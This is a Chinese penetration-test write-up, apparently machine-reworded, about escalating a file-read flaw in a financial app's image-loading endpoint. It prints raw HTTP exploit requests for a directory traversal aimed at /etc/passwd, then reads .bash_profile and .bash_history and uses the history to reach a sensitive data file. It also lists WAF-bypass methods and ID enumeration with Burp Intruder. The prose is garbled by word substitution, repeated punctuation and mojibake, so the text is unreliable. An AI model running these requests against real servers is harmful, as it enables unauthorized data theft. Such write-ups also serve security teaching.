在授权测试某金融类APP时,,,,发明一个鸡肋低危文件读取误差,,,,实验将其升级为高危。。
PS:本文仅用于手艺讨论与剖析,,,,严禁用于任何不法用途,,,,违者效果自尊。。
0x00 起源探测
发明首次翻开APP时,,,,会向效劳器读取文件加载并展示图片。。
测试时一定要仔细,,,,笔者发明只有首次翻开APP时,,,,才会加载图片,,,,后面再翻开应该是资源已被纪录,,,,就不会向效劳器再次举行请求了。。

此加载展示图片的GET请求数据包如下:

GET /ixxx/LgonImage.do?XxxxxImageDir=/XXXXX/Pictures&SaveXxxxxImageName=this_is_image.jpg HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
拿到这个数据包的第一反应,,,,以往的渗透测试履历告诉我,,,,从这个地方或许路会保存文件读取误差。。
剖析并推测功效点URI的每个参数的功效。。
LogonImageDir=/XXXXX/Pictures - 图片所在的目录
SaveXxxxxImageName=this_is_image.jpg - 目录下的图片名
0x01 误差测试
既然已经起源探测到了可能保存误差的危害点,,,,并且文件读取功效的参数已经搞清晰,,,,下一步就睁开读取测试。。
首先测试,,,,是否可以举行目录列出,,,,直接将SaveXxxxxImageName参数置空,,,,看看是否可以读取/XXXXX/Pictures目录下的内容:
GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures&SaveXxxxxImageName= HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
返回为“空”,,,,失败,,,,说明程序功效点不保存列出目录误差:

测试是否可以跳出目录,,,,选用Payload如下:
GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures/../../../../../../etc/&SaveXxxxxImageName=passwd HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
返回某恒防火墙阻挡界面,,,,失败:


接下来进一步测试,,,,是/etc/passwd触发的WAF,,,,照旧/../触发的WAF。。
测试只举行一层目录跳出,,,,并且删除/etc/passwd要害字:
GET /ixxx/LogonImage.do?XxxxxImageDir=/XXXXX/Pictures/../&SaveXxxxxImageName= HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
唔...看来/../的特殊字符就已经触发了WAF:

之后想到实验对数据包举行POST类型转换,,,,使用POST传参的一些方法举行WAF的测试,,,,如:
URL编码
分块传输
脏数据填充
包体转换
畸形数据包
......
可是无奈,,,,POST请求直接无法传参,,,,程序限制了GET请求吸收参数。。
(不过,,,,厥后测试其他POST传参的功效时,,,,发明以笔者现有的WAF绕过履历思绪,,,,基础无法对某恒的WAF举行绕过.....)
0x02 误差确认
总结以上对此文件读取误差网络到的信息:
目录无法跨越,,,,并且文件读取的路径在目今根目录;;;;
特殊字符串,,,,已被WAF完善防护�。�;;;;
无法获取目录下的文件名、无法预知是否可以读取其他后缀文件。。
测试到这里突然灵光一闪,,,,想到了“.bash_history”,,,,若是网站根目录保存此文件,,,,并且可以读取,,,,上面的疑问就可以直接解决泰半了,,,,先来相识一下这些文件作用:
.bash_profile:此文件为系统的每个用户设置情形信息,,,,当用户第一次登录时,,,,该文件被执行。。
.bash_history:该文件生涯了目今用户输入过的历史下令;;;;
.bash_logout:该文件的用途是用户注销时执行的下令,,,,默以为空;;;;
.bashrc:此文件为每一个运行bash shell的用户执行此文件。。当bash shell被翻开时,,,,该文件被读取。。
于是直接对网站根目录举行.bash_profile的盲测:
GET /ixxx/LogonImage.do?XxxxxImageDir=/&SaveXxxxxImageName=.bash_profile HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
此payload既阻止了跳出目录,,,,又避开了WAF严打的特殊字符,,,,可是唯一遗漏的.bash文件被我们使用到了。。

激动的心颤抖的手,,,,看来目今网站根目录确实是此用户的目录,,,,并且用户在此根目录下执行过下令!
接下来实验进一步扩大危害。。
0x03 危害升级
不清晰目今目录结构,,,,就代表着无法定向读取文件,,,,可是尚有一个.bash_history我们没有使用到,,,,看看是否可以在其中获取到更主要的信息。。
读取根目录下的.bash_history:
GET /ixxx/LogonImage.do?XxxxxImageDir=/&SaveXxxxxImageName=.bash_history HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
信息量虽然少,,,,可是已经有了新的希望:

由历史下令得知,,,,治理员cd进入了两层目录:/Nxxxx/xxFile/
并且审查了xx_20201022_51xxx.txt文件。。
直接结构读取此文件!
GET /ixxx/LogonImage.do?XxxxxImageDir=/Nxxxx/xxFile&SaveXxxxxImageName=xx_20201022_51xxx.txt HTTP/1.1
Host: xxxxx.com
Connection: close
User-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,en-US;q=0.8
乐成读取到了敏感的数据信息:

并且文件的ID值为时间戳+ID顺序编号组成,,,,可轻松遍历出所有的信息。。
Burpsuite Intruder�???椴馐裕�

实验遍历10个ID值乐成。。
0x04 回首总结
保存的难题:目录无法跨越、WAF盯防、无法预知目录文件结构。。
在此情形下,,,,使用Linux文件系统特征,,,,仍然可以将低危误差提升至高危。。
并且危害的品级崎岖是无法预估的,,,,这取决于.bash_history会给我们泄露几多信息,,,,以是文件读取误差保存时间越久,,,,纪录的工具越多,,,,危害越大!
- 要害词标签:
- 网络清静 文件读取误差,

京公网安备 11010802026257号